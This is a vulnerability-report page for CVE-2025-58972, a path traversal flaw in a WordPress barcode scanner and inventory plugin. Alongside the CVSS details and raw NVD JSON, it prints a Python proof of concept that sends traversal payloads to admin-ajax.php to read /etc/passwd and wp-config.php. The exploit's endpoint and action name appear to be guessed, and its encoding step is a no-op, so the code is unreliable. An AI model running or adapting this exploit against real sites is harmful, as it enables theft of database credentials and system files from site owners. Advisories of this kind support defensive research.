Security Vulnerability Report
中文
CVE-2025-58972 CVSS 7.2 HIGH

CVE-2025-58972

Published: 2025-11-06 16:16:00
Last Modified: 2026-04-15 00:35:42

Description

Path Traversal: '.../...//' vulnerability in Dmitry V. (CEO of "UKR Solution") Barcode Scanner with Inventory & Order Manager barcode-scanner-lite-pos-to-manage-products-inventory-and-orders allows Path Traversal.This issue affects Barcode Scanner with Inventory & Order Manager: from n/a through <= 1.10.4.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Barcode Scanner with Inventory & Order Manager (WordPress插件) <= 1.10.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-58972 Path Traversal PoC # Target: WordPress Barcode Scanner with Inventory & Order Manager plugin # Vulnerability: Path traversal via '.../...//' sequence TARGET_URL = "http://target-wordpress-site.com" # Authentication cookies (need high privileges) COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_cookie": "your_auth_cookie_here" } def test_path_traversal(): """Test for path traversal vulnerability""" # Read system files via path traversal paths_to_test = [ ".../...//.../...//etc/passwd", ".../...//.../...//wp-config.php", ".../...//.../...//var/www/html/wp-config.php" ] print("[*] Testing CVE-2025-58972 Path Traversal...") for path in paths_to_test: # The vulnerable endpoint depends on plugin implementation # Common endpoints in barcode scanner plugins: url = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = { "action": "barcode_scanner_read_file", "file_path": path } try: response = requests.get(url, params=params, cookies=COOKIES, timeout=10) if response.status_code == 200 and any(indicator in response.text for indicator in ["root:", "<?php", "DB_NAME"]): print(f"[+] VULNERABLE! Successfully read: {path}") print(f"[+] Content preview: {response.text[:200]}...") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {path}: {e}") print("[-] Target may not be vulnerable or requires different exploitation vector") return False def generate_payload(target_file): """Generate path traversal payload for specific target file""" payload = f".../...//.../...//{target_file}" # URL encode special characters encoded_payload = payload.replace("...", "%2e%2e").replace("/", "/") return payload, encoded_payload if __name__ == "__main__": print("CVE-2025-58972 - Barcode Scanner Path Traversal PoC") print("=" * 60) test_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58972", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:00.320", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path Traversal: '.../...//' vulnerability in Dmitry V. (CEO of \"UKR Solution\") Barcode Scanner with Inventory & Order Manager barcode-scanner-lite-pos-to-manage-products-inventory-and-orders allows Path Traversal.This issue affects Barcode Scanner with Inventory & Order Manager: from n/a through <= 1.10.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-35"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders/vulnerability/wordpress-barcode-scanner-with-inventory-order-manager-plugin-1-10-4-path-traversal-vulnerability?_s_id=cve", "source": "[email protected]"}]}}